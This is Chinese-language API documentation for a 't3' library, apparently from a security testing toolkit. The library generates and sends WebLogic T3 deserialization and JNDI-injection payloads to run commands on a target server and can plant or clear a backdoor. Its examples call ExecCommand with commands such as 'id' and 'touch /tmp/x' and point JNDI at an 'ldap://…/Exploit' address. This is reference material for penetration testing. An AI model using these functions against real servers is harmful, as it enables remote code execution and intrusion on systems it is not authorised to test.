跳到主要内容

t3

t3 库用于构造与发送 WebLogic T3 协议的利用 Payload,常用于 WebLogic 反序列化、JNDI 注入等漏洞的利用与命令执行验证。

典型使用场景:

  • 命令执行:t3.ExecCommand(addr, cmd, opts...) 通过 T3 协议在目标 WebLogic 上执行命令。
  • 构造与发送:t3.GenerateJavaObjectStreamBytes / t3.GenerateWeblogicJNDIPayload 生成序列化/JNDI Payload,t3.SendJavaObjectStreamBytes 发送;t3.clearBackdoor / t3.timeout / t3.debugHandler 控制行为。

与相邻库的关系:t3yso(gadget 生成)、java(对象构造)、facades/iiop(利用通道)配合,构成 WebLogic 反序列化利用链中的 T3 通道。

共 7 个函数

函数索引

函数参数返回值说明
t3.GenerateJavaObjectStreamBytescmd string[]byte根据要执行的命令生成 T3 利用所需的 Java 序列化对象字节流
t3.GenerateWeblogicJNDIPayloadaddr string[]byte生成一个用于 Weblogic JNDI 注入的 T3 序列化 payload 字节流
t3.clearBackdoorclear boolOptionFun是一个 T3 利用配置选项,用于设置是否在利用后清理植入的后门对象
t3.debugHandlerhandler func(string)OptionFun是一个 T3 利用配置选项,用于设置调试回调以观察利用过程的中间数据
t3.timeoutduration float64OptionFun是一个 T3 利用配置选项,用于设置网络操作的超时时间(单位:秒)

可变参数函数索引

函数参数返回值说明
t3.ExecCommandaddr string, cmd string, f ...OptionFunstring, error通过 Weblogic T3 协议反序列化漏洞在目标上执行命令并回显结果
t3.SendJavaObjectStreamBytesaddr string, acedBytes any, f ...OptionFunerror通过 T3 协议向目标发送原始的 Java 序列化对象字节流

函数详情

GenerateJavaObjectStreamBytes

GenerateJavaObjectStreamBytes(cmd string) []byte

根据要执行的命令生成 T3 利用所需的 Java 序列化对象字节流

参数

参数名类型说明
cmdstring要在目标上执行的系统命令

返回值

序号类型说明
r1[]byte构造好的 Java 序列化对象字节流,可配合 t3.SendJavaObjectStreamBytes 使用

示例

// 生成执行命令的 Java 序列化字节流,此处仅作示意
payload = t3.GenerateJavaObjectStreamBytes("id")
println(len(payload))

GenerateWeblogicJNDIPayload

GenerateWeblogicJNDIPayload(addr string) []byte

生成一个用于 Weblogic JNDI 注入的 T3 序列化 payload 字节流

参数

参数名类型说明
addrstringJNDI 注入要回连的地址(如恶意 ldap/rmi 服务地址)

返回值

序号类型说明
r1[]byte构造好的 Java 序列化 payload 字节流

示例

// 生成 Weblogic JNDI payload,此处仅作示意
payload = t3.GenerateWeblogicJNDIPayload("ldap://127.0.0.1:1389/Exploit")
println(len(payload))

clearBackdoor

clearBackdoor(clear bool) OptionFun

是一个 T3 利用配置选项,用于设置是否在利用后清理植入的后门对象

参数

参数名类型说明
clearbool是否清理后门

返回值

序号类型说明
r1OptionFun一个 T3 利用配置选项,作为可变参数传入 t3.ExecCommand 等函数

示例

// 利用后自动清理后门,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.clearBackdoor(true))
println(result)

debugHandler

debugHandler(handler func(string)) OptionFun

是一个 T3 利用配置选项,用于设置调试回调以观察利用过程的中间数据

参数

参数名类型说明
handlerfunc(string)调试回调函数,接收过程中的调试字符串

返回值

序号类型说明
r1OptionFun一个 T3 利用配置选项,作为可变参数传入 t3.ExecCommand 等函数

示例

// 设置调试回调观察 T3 利用过程,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.debugHandler(func(s) { println(s) }))
println(result)

timeout

timeout(duration float64) OptionFun

是一个 T3 利用配置选项,用于设置网络操作的超时时间(单位:秒)

参数

参数名类型说明
durationfloat64超时时间,单位为秒,支持小数

返回值

序号类型说明
r1OptionFun一个 T3 利用配置选项,作为可变参数传入 t3.ExecCommand 等函数

示例

// 设置 T3 操作超时,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.timeout(10))
println(result)

可变参数函数详情

ExecCommand

ExecCommand(addr string, cmd string, f ...OptionFun) (string, error)

通过 Weblogic T3 协议反序列化漏洞在目标上执行命令并回显结果

必填参数

参数名类型说明
addrstring目标地址,格式为 host:port
cmdstring要执行的系统命令

可选参数

参数名类型说明
f...OptionFun可选配置,例如 t3.timeout、t3.clearBackdoor、t3.debugHandler

返回值

序号类型说明
r1string命令执行的回显结果
r2error错误信息,连接或利用失败时返回非空

示例

// 通过 T3 协议执行命令,依赖存在漏洞的目标,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.timeout(10))
println(result)

SendJavaObjectStreamBytes

SendJavaObjectStreamBytes(addr string, acedBytes any, f ...OptionFun) error

通过 T3 协议向目标发送原始的 Java 序列化对象字节流

必填参数

参数名类型说明
addrstring目标地址,格式为 host:port
acedBytesany要发送的 Java 序列化对象字节流(以 0xACED 开头)

可选参数

参数名类型说明
f...OptionFun可选配置,例如 t3.timeout、t3.debugHandler

返回值

序号类型说明
r1error错误信息,发送失败时返回非空

示例

// 发送自定义 Java 序列化字节流,依赖目标,此处仅作示意
payload = t3.GenerateJavaObjectStreamBytes("touch /tmp/x")~
t3.SendJavaObjectStreamBytes("192.168.1.1:7001", payload, t3.timeout(10))~